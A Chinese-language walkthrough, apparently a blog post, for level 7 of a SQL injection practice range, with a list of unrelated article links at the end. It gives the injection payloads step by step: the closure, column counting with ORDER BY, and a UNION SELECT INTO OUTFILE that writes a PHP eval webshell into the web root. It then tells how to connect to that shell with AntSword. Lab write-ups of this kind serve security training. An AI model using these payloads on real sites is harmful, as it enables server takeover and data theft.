SQL靶场第七关攻略

一.判断闭合点

闭合点为?id=1'))--+

二.判断列数

输入?id=1')) order by 3--+页面正常

输入?id=1')) order by 4--+页面异常,说明有3列

这里显示让我们用outfile来打这关,那我们先了解一下outfile:

用法:select 列名 from table [where语句] into outfile '目标文件'

三.写入木马文件

输入?id=-1')) union select 1,2,3 into outfile "D:/phpstudy/phpstudy_pro/WWW/1.txt"--+测试一下是否能把文件写进去

在这里发现写进来以后,就可以写我们的木马文件

输入?id=-1')) union select 1,2,'<?php eval($_post['cmd'])?>' into outfile "D:/phpstudy/phpstudy_pro/WWW/1.php"--+

这样就把我们的木马文件写进来了,我们打开蚁剑连接

连上蚁剑就获得了他的数据库的管理权限了,以上就是第七关的通关攻略

相关推荐
哆啦A梦15884 小时前
Springboot整合MyBatis实现数据库操作
数据库·spring boot·mybatis
Zzzzmo_5 小时前
【MySQL】JDBC(含settings.xml文件配置/配置国内镜像以及pom.xml文件修改)
数据库·mysql
FirstFrost --sy6 小时前
MySQL内置函数
数据库·mysql
2401_879693876 小时前
将Python Web应用部署到服务器(Docker + Nginx)
jvm·数据库·python
reembarkation6 小时前
光标在a-select,鼠标已经移出,下拉框跟随页面滚动
java·数据库·sql
eggwyw6 小时前
MySQL-练习-数据汇总-CASE WHEN
数据库·mysql
星轨zb6 小时前
通过实际demo掌握SpringSecurity+MP中的基本框架搭建
数据库·spring boot·spring security·mp
treacle田7 小时前
达梦数据库-配置本地守护进程dmwatcher服务-记录总结
数据库·达梦数据库·达梦数据库local数据守护
wyt5314297 小时前
Redis的安装教程(Windows+Linux)【超详细】
linux·数据库·redis
CeshirenTester7 小时前
从数据库到结构化用例:一套可落地的测试智能体架构
数据库·架构